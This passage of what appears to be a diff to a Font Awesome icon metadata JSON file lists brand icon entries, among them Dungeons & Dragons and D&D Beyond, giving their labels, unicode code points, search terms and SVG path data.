xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "440", + "512" + ], + "width": 440, + "height": 512, + "path": "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z" + } + }, + "free": [ + "brands" + ] + }, + "d-and-d": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f38d", + "label": "Dungeons & Dragons", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860978, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z" + } + }, + "free": [ + "brands" + ] + }, + "d-and-d-beyond": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "gaming", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f6ca", + "label": "D&D Beyond", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722326, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 